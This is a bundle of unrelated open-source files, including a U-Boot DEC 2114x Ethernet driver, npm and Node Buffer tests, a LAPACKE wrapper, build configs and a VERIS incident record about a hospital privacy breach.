m_hPhysicsBlocker->SetCollisionGroup( COLLISION_GROUP_DEBRIS );
if ( m_hPhysicsBlocker->VPhysicsGetObject() )
{
m_hPhysicsBlocker->VPhysicsGetObject()->RecheckContactPoints();
}
}
void CPhysicsEntitySolver::Think()
{
UTIL_Remove(this);
}
void CPhysicsEntitySolver::UpdateOnRemove()
{
//physenv->DestroyMotionController( m_pController );
//m_pController = NULL;
CBaseEntity *pEntity = m_hMovingEntity.Get();
CBaseEntity *pPhysics = m_hPhysicsBlocker.Get();
if ( pEntity && pPhysics )
{
PhysEnableEntityCollisions( pEntity, pPhysics );
}
if ( pPhysics )
{
pPhysics->SetCollisionGroup( m_savedCollisionGroup );
}
BaseClass::UpdateOnRemove();
}
CBaseEntity *EntityPhysics_CreateSolver( CBaseEntity *pMovingEntity, CBaseEntity *pPhysicsObject, bool disableCollisions, float separationDuration )
{
if ( PhysEntityCollisionsAreDisabled( pMovingEntity, pPhysicsObject ) )
return NULL;
return CPhysicsEntitySolver::Create( pMovingEntity, pPhysicsObject, separationDuration );
}
| {
"pile_set_name": "Github"
} |
'use strict'
var fs = require('graceful-fs')
var path = require('path')
var test = require('tap').test
var Tacks = require('tacks')
var File = Tacks.File
var Dir = Tacks.Dir
var common = require('../common-tap.js')
var testdir = common.pkg
var fixture = new Tacks(
Dir({
example: Dir({
}),
mod1: Dir({
'package.json': File({
name: 'mod1',
version: '1.0.0'
})
}),
node_modules: Dir({
})
})
)
function setup () {
fixture.create(testdir)
}
function cleanup () {
fixture.remove(testdir)
}
test('setup', function (t) {
cleanup()
setup()
t.end()
})
function exists (file) {
try {
fs.statSync(file)
return true
} catch (ex) {
return false
}
}
test('local-args-relative-to-cwd', function (t) {
var instdir = path.join(testdir, 'example')
var config = ['--loglevel=error']
common.npm(config.concat(['install', '../mod1']), {cwd: instdir}, function (err, code, stdout, stderr) {
if (err) throw err
t.comment(stdout.trim())
t.comment(stderr.trim())
t.is(code, 0, 'install ran ok')
t.ok(exists(path.join(testdir, 'node_modules', 'mod1')), 'mod1 installed')
t.end()
})
})
test('cleanup', function (t) {
cleanup()
t.end()
})
| {
"pile_set_name": "Github"
} |
abc abc abc abc abc abc abc abc abc abc abc abc abc abc abc abc abc abc abc abc - abc abc abc
## Supported Rules
- [no-disabled-tests](/packages/eslint-plugin-jest/docs/rules/no-disabled-tests.md) - disallow disabled tests.
- [no-focused-tests](/packages/eslint-plugin-jest/docs/rules/no-focused-tests.md) - disallow focused tests.
- [no-identical-title](/packages/eslint-plugin-jest/docs/rules/no-identical-title.md) - disallow identical titles.
- [valid-expect](/packages/eslint-plugin-jest/docs/rules/valid-expect.md) - ensure expect is called correctly.
## Supported Rules
* [no-disabled-tests](/packages/eslint-plugin-jest/docs/rules/no-disabled-tests.md)
- disallow disabled tests.
* [no-focused-tests](/packages/eslint-plugin-jest/docs/rules/no-focused-tests.md)
- disallow focused tests.
* [no-identical-title](/packages/eslint-plugin-jest/docs/rules/no-identical-title.md)
- disallow identical titles.
* [valid-expect](/packages/eslint-plugin-jest/docs/rules/valid-expect.md) -
ensure expect is called correctly.
She grew up in an isolated village in the 19th century and met her father aged 29. Oh no, why are we in a numbered list now?
| {
"pile_set_name": "Github"
} |
{
"action": {
"misuse": {
"variety": [
"Privilege abuse"
],
"vector": [
"LAN access"
]
}
},
"actor": {
"internal": {
"motive": [
"Unknown"
],
"variety": [
"Unknown"
]
}
},
"asset": {
"assets": [
{
"variety": "M - Unknown"
}
],
"cloud": [
"Unknown"
]
},
"attribute": {
"confidentiality": {
"data": [
{
"variety": "Unknown"
}
],
"data_disclosure": "Yes",
"data_total": 1
}
},
"discovery_method": {
"unknown": true
},
"incident_id": "8FAD5A97-5BB8-4237-AC40-8DAEF8DE03B7",
"plus": {
"analysis_status": "First pass",
"analyst": "swidup",
"created": "2014-02-21T04:07:15Z",
"master_id": "8FAD5A97-5BB8-4237-AC40-8DAEF8DE03B7",
"modified": "2014-07-30T19:07:18Z"
},
"reference": "http://vcdb.org/pdf/va-security.pdf",
"schema_version": "1.3.4",
"security_incident": "Confirmed",
"source_id": "vcdb",
"summary": "A fee basis employee/phlebotomist posted a picture of numerous vials of blood with sensitive patient information visible on her personal Facebook page. The\npatient's full name, social security number, date and time blood drawn, and type of lab work were exposed.\nThe Facebook page has been removed and Human Resource was contacted. All employees in Pathology and Lab will be retraining on HIPAA and Privacy\nregulations and best practices.",
"timeline": {
"incident": {
"day": 11,
"month": 6,
"year": 2012
}
},
"victim": {
"country": [
"US"
],
"employee_count": "Over 100000",
"industry": "923140",
"region": [
"019021"
],
"state": "CA",
"victim_id": "United States Department of Veterans Affairs"
}
} | {
"pile_set_name": "Github"
} |
{
"extends": "./tsconfig-base.json",
"compilerOptions": {
"composite": true,
"strict": true,
"declarationMap": true,
"experimentalDecorators": true
}
}
| {
"pile_set_name": "Github"
} |
// SPDX-License-Identifier: GPL-2.0+
#include <common.h>
#include <asm/io.h>
#include <dm.h>
#include <malloc.h>
#include <net.h>
#include <netdev.h>
#include <pci.h>
#include <linux/bitops.h>
#include <linux/delay.h>
#define SROM_DLEVEL 0
/* PCI Registers. */
#define PCI_CFDA_PSM 0x43
#define CFRV_RN 0x000000f0 /* Revision Number */
#define WAKEUP 0x00 /* Power Saving Wakeup */
#define SLEEP 0x80 /* Power Saving Sleep Mode */
#define DC2114x_BRK 0x0020 /* CFRV break between DC21142 & DC21143 */
/* Ethernet chip registers. */
#define DE4X5_BMR 0x000 /* Bus Mode Register */
#define DE4X5_TPD 0x008 /* Transmit Poll Demand Reg */
#define DE4X5_RRBA 0x018 /* RX Ring Base Address Reg */
#define DE4X5_TRBA 0x020 /* TX Ring Base Address Reg */
#define DE4X5_STS 0x028 /* Status Register */
#define DE4X5_OMR 0x030 /* Operation Mode Register */
#define DE4X5_SICR 0x068 /* SIA Connectivity Register */
#define DE4X5_APROM 0x048 /* Ethernet Address PROM */
/* Register bits. */
#define BMR_SWR 0x00000001 /* Software Reset */
#define STS_TS 0x00700000 /* Transmit Process State */
#define STS_RS 0x000e0000 /* Receive Process State */
#define OMR_ST 0x00002000 /* Start/Stop Transmission Command */
#define OMR_SR 0x00000002 /* Start/Stop Receive */
#define OMR_PS 0x00040000 /* Port Select */
#define OMR_SDP 0x02000000 /* SD Polarity - MUST BE ASSERTED */
#define OMR_PM 0x00000080 /* Pass All Multicast */
/* Descriptor bits. */
#define R_OWN 0x80000000 /* Own Bit */
#define RD_RER 0x02000000 /* Receive End Of Ring */
#define RD_LS 0x00000100 /* Last Descriptor */
#define RD_ES 0x00008000 /* Error Summary */
#define TD_TER 0x02000000 /* Transmit End Of Ring */
#define T_OWN 0x80000000 /* Own Bit */
#define TD_LS 0x40000000 /* Last Segment */
#define TD_FS 0x20000000 /* First Segment */
#define TD_ES 0x00008000 /* Error Summary */
#define TD_SET 0x08000000 /* Setup Packet */
/* The EEPROM commands include the alway-set leading bit. */
#define SROM_WRITE_CMD 5
#define SROM_READ_CMD 6
#define SROM_ERASE_CMD 7
#define SROM_HWADD 0x0014 /* Hardware Address offset in SROM */
#define SROM_RD 0x00004000 /* Read from Boot ROM */
#define EE_DATA_WRITE 0x04 /* EEPROM chip data in. */
#define EE_WRITE_0 0x4801
#define EE_WRITE_1 0x4805
#define EE_DATA_READ 0x08 /* EEPROM chip data out. */
#define SROM_SR 0x00000800 /* Select Serial ROM when set */
#define DT_IN 0x00000004 /* Serial Data In */
#define DT_CLK 0x00000002 /* Serial ROM Clock */
#define DT_CS 0x00000001 /* Serial ROM Chip Select */
#define POLL_DEMAND 1
#if defined(CONFIG_DM_ETH)
#define phys_to_bus(dev, a) dm_pci_phys_to_mem((dev), (a))
#elif defined(CONFIG_E500)
#define phys_to_bus(dev, a) (a)
#else
#define phys_to_bus(dev, a) pci_phys_to_mem((dev), (a))
#endif
#define NUM_RX_DESC PKTBUFSRX
#define NUM_TX_DESC 1 /* Number of TX descriptors */
#define RX_BUFF_SZ PKTSIZE_ALIGN
#define TOUT_LOOP 1000000
#define SETUP_FRAME_LEN 192
struct de4x5_desc {
volatile s32 status;
u32 des1;
u32 buf;
u32 next;
};
struct dc2114x_priv {
struct de4x5_desc rx_ring[NUM_RX_DESC] __aligned(32);
struct de4x5_desc tx_ring[NUM_TX_DESC] __aligned(32);
int rx_new; /* RX descriptor ring pointer */
int tx_new; /* TX descriptor ring pointer */
char rx_ring_size;
char tx_ring_size;
#ifdef CONFIG_DM_ETH
struct udevice *devno;
#else
struct eth_device dev;
pci_dev_t devno;
#endif
char *name;
void __iomem *iobase;
u8 *enetaddr;
};
/* RX and TX descriptor ring */
static u32 dc2114x_inl(struct dc2114x_priv *priv, u32 addr)
{
return le32_to_cpu(readl(priv->iobase + addr));
}
static void dc2114x_outl(struct dc2114x_priv *priv, u32 command, u32 addr)
{
writel(cpu_to_le32(command), priv->iobase + addr);
}
static void reset_de4x5(struct dc2114x_priv *priv)
{
u32 i;
i = dc2114x_inl(priv, DE4X5_BMR);
mdelay(1);
dc2114x_outl(priv, i | BMR_SWR, DE4X5_BMR);
mdelay(1);
dc2114x_outl(priv, i, DE4X5_BMR);
mdelay(1);
for (i = 0; i < 5; i++) {
dc2114x_inl(priv, DE4X5_BMR);
mdelay(10);
}
mdelay(1);
}
static void start_de4x5(struct dc2114x_priv *priv)
{
u32 omr;
omr = dc2114x_inl(priv, DE4X5_OMR);
omr |= OMR_ST | OMR_SR;
dc2114x_outl(priv, omr, DE4X5_OMR); /* Enable the TX and/or RX */
}
static void stop_de4x5(struct dc2114x_priv *priv)
{
u32 omr;
omr = dc2114x_inl(priv, DE4X5_OMR);
omr &= ~(OMR_ST | OMR_SR);
dc2114x_outl(priv, omr, DE4X5_OMR); /* Disable the TX and/or RX */
}
/* SROM Read and write routines. */
static void sendto_srom(struct dc2114x_priv *priv, u_int command, u_long addr)
{
dc2114x_outl(priv, command, addr);
udelay(1);
}
static int getfrom_srom(struct dc2114x_priv *priv, u_long addr)
{
u32 tmp = dc2114x_inl(priv, addr);
udelay(1);
return tmp;
}
/* Note: this routine returns extra data bits for size detection. */
static int do_read_eeprom(struct dc2114x_priv *priv, u_long ioaddr, int location,
int addr_len)
{
int read_cmd = location | (SROM_READ_CMD << addr_len);
unsigned int retval = 0;
int i;
sendto_srom(priv, SROM_RD | SROM_SR, ioaddr);
sendto_srom(priv, SROM_RD | SROM_SR | DT_CS, ioaddr);
debug_cond(SROM_DLEVEL >= 1, " EEPROM read at %d ", location);
/* Shift the read command bits out. */
for (i = 4 + addr_len; i >= 0; i--) {
short dataval = (read_cmd & (1 << i)) ? EE_DATA_WRITE : 0;
sendto_srom(priv, SROM_RD | SROM_SR | DT_CS | dataval,
ioaddr);
udelay(10);
sendto_srom(priv, SROM_RD | SROM_SR | DT_CS | dataval | DT_CLK,
ioaddr);
udelay(10);
debug_cond(SROM_DLEVEL >= 2, "%X",
getfrom_srom(priv, ioaddr) & 15);
retval = (retval << 1) |
!!(getfrom_srom(priv, ioaddr) & EE_DATA_READ);
}
sendto_srom(priv, SROM_RD | SROM_SR | DT_CS, ioaddr);
debug_cond(SROM_DLEVEL >= 2, " :%X:", getfrom_srom(priv, ioaddr) & 15);
for (i = 16; i > 0; i--) {
sendto_srom(priv, SROM_RD | SROM_SR | DT_CS | DT_CLK, ioaddr);
udelay(10);
debug_cond(SROM_DLEVEL >= 2, "%X",
getfrom_srom(priv, ioaddr) & 15);
retval = (retval << 1) |
!!(getfrom_srom(priv, ioaddr) & EE_DATA_READ);
sendto_srom(priv, SROM_RD | SROM_SR | DT_CS, ioaddr);
udelay(10);
}
/* Terminate the EEPROM access. */
sendto_srom(priv, SROM_RD | SROM_SR, ioaddr);
debug_cond(SROM_DLEVEL >= 2, " EEPROM value at %d is %5.5x.\n",
location, retval);
return retval;
}
/*
* This executes a generic EEPROM command, typically a write or write
* enable. It returns the data output from the EEPROM, and thus may
* also be used for reads.
*/
static int do_eeprom_cmd(struct dc2114x_priv *priv, u_long ioaddr, int cmd,
int cmd_len)
{
unsigned int retval = 0;
debug_cond(SROM_DLEVEL >= 1, " EEPROM op 0x%x: ", cmd);
sendto_srom(priv, SROM_RD | SROM_SR | DT_CS | DT_CLK, ioaddr);
/* Shift the command bits out. */
do {
short dataval = (cmd & BIT(cmd_len)) ? EE_WRITE_1 : EE_WRITE_0;
sendto_srom(priv, dataval, ioaddr);
udelay(10);
debug_cond(SROM_DLEVEL >= 2, "%X",
getfrom_srom(priv, ioaddr) & 15);
sendto_srom(priv, dataval | DT_CLK, ioaddr);
udelay(10);
retval = (retval << 1) |
!!(getfrom_srom(priv, ioaddr) & EE_DATA_READ);
} while (--cmd_len >= 0);
sendto_srom(priv, SROM_RD | SROM_SR | DT_CS, ioaddr);
/* Terminate the EEPROM access. */
sendto_srom(priv, SROM_RD | SROM_SR, ioaddr);
debug_cond(SROM_DLEVEL >= 1, " EEPROM result is 0x%5.5x.\n", retval);
return retval;
}
static int read_srom(struct dc2114x_priv *priv, u_long ioaddr, int index)
{
int ee_addr_size;
ee_addr_size = (do_read_eeprom(priv, ioaddr, 0xff, 8) & BIT(18)) ? 8 : 6;
return do_eeprom_cmd(priv, ioaddr, 0xffff |
(((SROM_READ_CMD << ee_addr_size) | index) << 16),
3 + ee_addr_size + 16);
}
static void send_setup_frame(struct dc2114x_priv *priv)
{
char setup_frame[SETUP_FRAME_LEN];
char *pa = &setup_frame[0];
int i;
memset(pa, 0xff, SETUP_FRAME_LEN);
for (i = 0; i < ETH_ALEN; i++) {
*(pa + (i & 1)) = priv->enetaddr[i];
if (i & 0x01)
pa += 4;
}
for (i = 0; priv->tx_ring[priv->tx_new].status & cpu_to_le32(T_OWN); i++) {
if (i < TOUT_LOOP)
continue;
printf("%s: tx error buffer not ready\n", priv->name);
return;
}
priv->tx_ring[priv->tx_new].buf = cpu_to_le32(phys_to_bus(priv->devno,
(u32)&setup_frame[0]));
priv->tx_ring[priv->tx_new].des1 = cpu_to_le32(TD_TER | TD_SET | SETUP_FRAME_LEN);
priv->tx_ring[priv->tx_new].status = cpu_to_le32(T_OWN);
dc2114x_outl(priv, POLL_DEMAND, DE4X5_TPD);
for (i = 0; priv->tx_ring[priv->tx_new].status & cpu_to_le32(T_OWN); i++) {
if (i < TOUT_LOOP)
continue;
printf("%s: tx buffer not ready\n", priv->name);
return;
}
if (le32_to_cpu(priv->tx_ring[priv->tx_new].status) != 0x7FFFFFFF) {
printf("TX error status2 = 0x%08X\n",
le32_to_cpu(priv->tx_ring[priv->tx_new].status));
}
priv->tx_new = (priv->tx_new + 1) % NUM_TX_DESC;
}
static int dc21x4x_send_common(struct dc2114x_priv *priv, void *packet, int length)
{
int status = -1;
int i;
if (length <= 0) {
printf("%s: bad packet size: %d\n", priv->name, length);
goto done;
}
for (i = 0; priv->tx_ring[priv->tx_new].status & cpu_to_le32(T_OWN); i++) {
if (i < TOUT_LOOP)
continue;
printf("%s: tx error buffer not ready\n", priv->name);
goto done;
}
priv->tx_ring[priv->tx_new].buf = cpu_to_le32(phys_to_bus(priv->devno,
(u32)packet));
priv->tx_ring[priv->tx_new].des1 = cpu_to_le32(TD_TER | TD_LS | TD_FS | length);
priv->tx_ring[priv->tx_new].status = cpu_to_le32(T_OWN);
dc2114x_outl(priv, POLL_DEMAND, DE4X5_TPD);
for (i = 0; priv->tx_ring[priv->tx_new].status & cpu_to_le32(T_OWN); i++) {
if (i < TOUT_LOOP)
continue;
printf(".%s: tx buffer not ready\n", priv->name);
goto done;
}
if (le32_to_cpu(priv->tx_ring[priv->tx_new].status) & TD_ES) {
priv->tx_ring[priv->tx_new].status = 0x0;
goto done;
}
status = length;
done:
priv->tx_new = (priv->tx_new + 1) % NUM_TX_DESC;
return status;
}
static int dc21x4x_recv_check(struct dc2114x_priv *priv)
{
int length = 0;
u32 status;
status = le32_to_cpu(priv->rx_ring[priv->rx_new].status);
if (status & R_OWN)
return 0;
if (status & RD_LS) {
/* Valid frame status. */
if (status & RD_ES) {
/* There was an error. */
printf("RX error status = 0x%08X\n", status);
return -EINVAL;
} else {
/* A valid frame received. */
length = (le32_to_cpu(priv->rx_ring[priv->rx_new].status)
>> 16);
return length;
}
}
return -EAGAIN;
}
static int dc21x4x_init_common(struct dc2114x_priv *priv)
{
int i;
reset_de4x5(priv);
if (dc2114x_inl(priv, DE4X5_STS) & (STS_TS | STS_RS)) {
printf("Error: Cannot reset ethernet controller.\n");
return -1;
}
dc2114x_outl(priv, OMR_SDP | OMR_PS | OMR_PM, DE4X5_OMR);
for (i = 0; i < NUM_RX_DESC; i++) {
priv->rx_ring[i].status = cpu_to_le32(R_OWN);
priv->rx_ring[i].des1 = cpu_to_le32(RX_BUFF_SZ);
priv->rx_ring[i].buf = cpu_to_le32(phys_to_bus(priv->devno,
(u32)net_rx_packets[i]));
priv->rx_ring[i].next = 0;
}
for (i = 0; i < NUM_TX_DESC; i++) {
priv->tx_ring[i].status = 0;
priv->tx_ring[i].des1 = 0;
priv->tx_ring[i].buf = 0;
priv->tx_ring[i].next = 0;
}
priv->rx_ring_size = NUM_RX_DESC;
priv->tx_ring_size = NUM_TX_DESC;
/* Write the end of list marker to the descriptor lists. */
priv->rx_ring[priv->rx_ring_size - 1].des1 |= cpu_to_le32(RD_RER);
priv->tx_ring[priv->tx_ring_size - 1].des1 |= cpu_to_le32(TD_TER);
/* Tell the adapter where the TX/RX rings are located. */
dc2114x_outl(priv, phys_to_bus(priv->devno, (u32)&priv->rx_ring),
DE4X5_RRBA);
dc2114x_outl(priv, phys_to_bus(priv->devno, (u32)&priv->tx_ring),
DE4X5_TRBA);
start_de4x5(priv);
priv->tx_new = 0;
priv->rx_new = 0;
send_setup_frame(priv);
return 0;
}
static void dc21x4x_halt_common(struct dc2114x_priv *priv)
{
stop_de4x5(priv);
dc2114x_outl(priv, 0, DE4X5_SICR);
}
static void read_hw_addr(struct dc2114x_priv *priv)
{
u_short tmp, *p = (u_short *)(&priv->enetaddr[0]);
int i, j = 0;
for (i = 0; i < (ETH_ALEN >> 1); i++) {
tmp = read_srom(priv, DE4X5_APROM, (SROM_HWADD >> 1) + i);
*p = le16_to_cpu(tmp);
j += *p++;
}
if (!j || j == 0x2fffd) {
memset(priv->enetaddr, 0, ETH_ALEN);
debug("Warning: can't read HW address from SROM.\n");
}
}
static struct pci_device_id supported[] = {
{ PCI_DEVICE(PCI_VENDOR_ID_DEC, PCI_DEVICE_ID_DEC_TULIP_FAST) },
{ PCI_DEVICE(PCI_VENDOR_ID_DEC, PCI_DEVICE_ID_DEC_21142) },
{ }
};
#ifndef CONFIG_DM_ETH
static int dc21x4x_init(struct eth_device *dev, struct bd_info *bis)
{
struct dc2114x_priv *priv =
container_of(dev, struct dc2114x_priv, dev);
/* Ensure we're not sleeping. */
pci_write_config_byte(priv->devno, PCI_CFDA_PSM, WAKEUP);
return dc21x4x_init_common(priv);
}
static void dc21x4x_halt(struct eth_device *dev)
{
struct dc2114x_priv *priv =
container_of(dev, struct dc2114x_priv, dev);
dc21x4x_halt_common(priv);
pci_write_config_byte(priv->devno, PCI_CFDA_PSM, SLEEP);
}
static int dc21x4x_send(struct eth_device *dev, void *packet, int length)
{
struct dc2114x_priv *priv =
container_of(dev, struct dc2114x_priv, dev);
return dc21x4x_send_common(priv, packet, length);
}
static int dc21x4x_recv(struct eth_device *dev)
{
struct dc2114x_priv *priv =
container_of(dev, struct dc2114x_priv, dev);
int length = 0;
int ret;
while (true) {
ret = dc21x4x_recv_check(priv);
if (!ret)
break;
if (ret > 0) {
length = ret;
/* Pass the packet up to the protocol layers */
net_process_received_packet
(net_rx_packets[priv->rx_new], length - 4);
}
/*
* Change buffer ownership for this frame,
* back to the adapter.
*/
if (ret != -EAGAIN)
priv->rx_ring[priv->rx_new].status = cpu_to_le32(R_OWN);
/* Update entry information. */
priv->rx_new = (priv->rx_new + 1) % priv->rx_ring_size;
}
return length;
}
int dc21x4x_initialize(struct bd_info *bis)
{
struct dc2114x_priv *priv;
struct eth_device *dev;
unsigned short status;
unsigned char timer;
unsigned int iobase;
int card_number = 0;
pci_dev_t devbusfn;
int idx = 0;
while (1) {
devbusfn = pci_find_devices(supported, idx++);
if (devbusfn == -1)
break;
pci_read_config_word(devbusfn, PCI_COMMAND, &status);
status |= PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER;
pci_write_config_word(devbusfn, PCI_COMMAND, status);
pci_read_config_word(devbusfn, PCI_COMMAND, &status);
if (!(status & PCI_COMMAND_MEMORY)) {
printf("Error: Can not enable MEMORY access.\n");
continue;
}
if (!(status & PCI_COMMAND_MASTER)) {
printf("Error: Can not enable Bus Mastering.\n");
continue;
}
/* Check the latency timer for values >= 0x60. */
pci_read_config_byte(devbusfn, PCI_LATENCY_TIMER, &timer);
if (timer < 0x60) {
pci_write_config_byte(devbusfn, PCI_LATENCY_TIMER,
0x60);
}
/* read BAR for memory space access */
pci_read_config_dword(devbusfn, PCI_BASE_ADDRESS_1, &iobase);
iobase &= PCI_BASE_ADDRESS_MEM_MASK;
debug("dc21x4x: DEC 21142 PCI Device @0x%x\n", iobase);
priv = memalign(32, sizeof(*priv));
if (!priv) {
printf("Can not allocalte memory of dc21x4x\n");
break;
}
memset(priv, 0, sizeof(*priv));
dev = &priv->dev;
sprintf(dev->name, "dc21x4x#%d", card_number);
priv->devno = devbusfn;
priv->name = dev->name;
priv->enetaddr = dev->enetaddr;
dev->iobase = pci_mem_to_phys(devbusfn, iobase);
dev->priv = (void *)devbusfn;
dev->init = dc21x4x_init;
dev->halt = dc21x4x_halt;
dev->send = dc21x4x_send;
dev->recv = dc21x4x_recv;
/* Ensure we're not sleeping. */
pci_write_config_byte(devbusfn, PCI_CFDA_PSM, WAKEUP);
udelay(10 * 1000);
read_hw_addr(priv);
eth_register(dev);
card_number++;
}
return card_number;
}
#else /* DM_ETH */
static int dc2114x_start(struct udevice *dev)
{
struct eth_pdata *plat = dev_get_platdata(dev);
struct dc2114x_priv *priv = dev_get_priv(dev);
memcpy(priv->enetaddr, plat->enetaddr, sizeof(plat->enetaddr));
/* Ensure we're not sleeping. */
dm_pci_write_config8(dev, PCI_CFDA_PSM, WAKEUP);
return dc21x4x_init_common(priv);
}
static void dc2114x_stop(struct udevice *dev)
{
struct dc2114x_priv *priv = dev_get_priv(dev);
dc21x4x_halt_common(priv);
dm_pci_write_config8(dev, PCI_CFDA_PSM, SLEEP);
}
static int dc2114x_send(struct udevice *dev, void *packet, int length)
{
struct dc2114x_priv *priv = dev_get_priv(dev);
int ret;
ret = dc21x4x_send_common(priv, packet, length);
return ret ? 0 : -ETIMEDOUT;
}
static int dc2114x_recv(struct udevice *dev, int flags, uchar **packetp)
{
struct dc2114x_priv *priv = dev_get_priv(dev);
int ret;
ret = dc21x4x_recv_check(priv);
if (ret < 0) {
/* Update entry information. */
priv->rx_new = (priv->rx_new + 1) % priv->rx_ring_size;
ret = 0;
}
if (!ret)
return 0;
*packetp = net_rx_packets[priv->rx_new];
return ret - 4;
}
static int dc2114x_free_pkt(struct udevice *dev, uchar *packet, int length)
{
struct dc2114x_priv *priv = dev_get_priv(dev);
priv->rx_ring[priv->rx_new].status = cpu_to_le32(R_OWN);
/* Update entry information. */
priv->rx_new = (priv->rx_new + 1) % priv->rx_ring_size;
return 0;
}
static int dc2114x_read_rom_hwaddr(struct udevice *dev)
{
struct dc2114x_priv *priv = dev_get_priv(dev);
read_hw_addr(priv);
return 0;
}
static int dc2114x_bind(struct udevice *dev)
{
static int card_number;
char name[16];
sprintf(name, "dc2114x#%u", card_number++);
return device_set_name(dev, name);
}
static int dc2114x_probe(struct udevice *dev)
{
struct eth_pdata *plat = dev_get_platdata(dev);
struct dc2114x_priv *priv = dev_get_priv(dev);
u16 command, status;
u32 iobase;
dm_pci_read_config32(dev, PCI_BASE_ADDRESS_1, &iobase);
iobase &= ~0xf;
debug("dc2114x: DEC 2114x PCI Device @0x%x\n", iobase);
priv->devno = dev;
priv->enetaddr = plat->enetaddr;
priv->iobase = (void __iomem *)dm_pci_mem_to_phys(dev, iobase);
command = PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER;
dm_pci_write_config16(dev, PCI_COMMAND, command);
dm_pci_read_config16(dev, PCI_COMMAND, &status);
if ((status & command) != command) {
printf("dc2114x: Couldn't enable IO access or Bus Mastering\n");
return -EINVAL;
}
dm_pci_write_config8(dev, PCI_LATENCY_TIMER, 0x60);
return 0;
}
static const struct eth_ops dc2114x_ops = {
.start = dc2114x_start,
.send = dc2114x_send,
.recv = dc2114x_recv,
.stop = dc2114x_stop,
.free_pkt = dc2114x_free_pkt,
.read_rom_hwaddr = dc2114x_read_rom_hwaddr,
};
U_BOOT_DRIVER(eth_dc2114x) = {
.name = "eth_dc2114x",
.id = UCLASS_ETH,
.bind = dc2114x_bind,
.probe = dc2114x_probe,
.ops = &dc2114x_ops,
.priv_auto_alloc_size = sizeof(struct dc2114x_priv),
.platdata_auto_alloc_size = sizeof(struct eth_pdata),
};
U_BOOT_PCI_DEVICE(eth_dc2114x, supported);
#endif
| {
"pile_set_name": "Github"
} |
/* Example code for Think OS
Copyright 2015 Allen Downey
License: Creative Commons Attribution-ShareAlike 3.0
*/
#include <pthread.h>
typedef struct {
pthread_mutex_t mutex[1];
} Mutex;
Mutex *make_mutex ();
void mutex_lock(Mutex *mutex);
void mutex_unlock(Mutex *mutex);
| {
"pile_set_name": "Github"
} |
/*****************************************************************************
Copyright (c) 2011, Intel Corp.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Intel Corporation nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************
* Contents: Native high-level C interface to LAPACK function dlapy2
* Author: Intel Corporation
* Generated November, 2011
*****************************************************************************/
#include "lapacke_utils.h"
double LAPACKE_dlapy2( double x, double y )
{
#ifndef LAPACK_DISABLE_NAN_CHECK
if( LAPACKE_get_nancheck() ) {
/* Optionally check input matrices for NaNs */
if( LAPACKE_d_nancheck( 1, &x, 1 ) ) {
return -1;
}
if( LAPACKE_d_nancheck( 1, &y, 1 ) ) {
return -2;
}
}
#endif
return LAPACKE_dlapy2_work( x, y );
}
| {
"pile_set_name": "Github"
} |
'use strict';
var Buffer = require('../../').Buffer;
var assert = require('assert');
var a = Buffer.from([1, 2, 3, 4, 5, 6, 7, 8, 9, 0]);
var b = Buffer.from([5, 6, 7, 8, 9, 0, 1, 2, 3, 4]);
assert.equal(-1, a.compare(b));
// Equivalent to a.compare(b).
assert.equal(-1, a.compare(b, 0));
assert.equal(-1, a.compare(b, '0'));
// Equivalent to a.compare(b).
assert.equal(-1, a.compare(b, 0, undefined, 0));
// Zero-length targer, return 1
assert.equal(1, a.compare(b, 0, 0, 0));
assert.equal(1, a.compare(b, '0', '0', '0'));
// Equivalent to Buffer.compare(a, b.slice(6, 10))
assert.equal(1, a.compare(b, 6, 10));
// Zero-length source, return -1
assert.equal(-1, a.compare(b, 6, 10, 0, 0));
// Equivalent to Buffer.compare(a.slice(4), b.slice(0, 5))
assert.equal(1, a.compare(b, 0, 5, 4));
// Equivalent to Buffer.compare(a.slice(1), b.slice(5))
assert.equal(1, a.compare(b, 5, undefined, 1));
// Equivalent to Buffer.compare(a.slice(2), b.slice(2, 4))
assert.equal(-1, a.compare(b, 2, 4, 2));
// Equivalent to Buffer.compare(a.slice(4), b.slice(0, 7))
assert.equal(-1, a.compare(b, 0, 7, 4));
// Equivalent to Buffer.compare(a.slice(4, 6), b.slice(0, 7));
assert.equal(-1, a.compare(b, 0, 7, 4, 6));
// zero length target
assert.equal(1, a.compare(b, 0, null));
// coerces to targetEnd == 5
assert.equal(-1, a.compare(b, 0, {valueOf: () => 5}));
// zero length target
assert.equal(1, a.compare(b, Infinity, -Infinity));
// zero length target because default for targetEnd <= targetSource
assert.equal(1, a.compare(b, '0xff'));
var oor = /out of range index/;
assert.throws(() => a.compare(b, 0, 100, 0), oor);
assert.throws(() => a.compare(b, 0, 1, 0, 100), oor);
assert.throws(() => a.compare(b, -1), oor);
assert.throws(() => a.compare(b, 0, '0xff'), oor);
assert.throws(() => a.compare(b, 0, Infinity), oor);
assert.throws(() => a.compare(b, -Infinity, Infinity), oor);
assert.throws(() => a.compare(), /Argument must be a Buffer/);
| {
"pile_set_name": "Github"
} |
# Copyright 2020 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import("//build/config/chrome_build.gni")
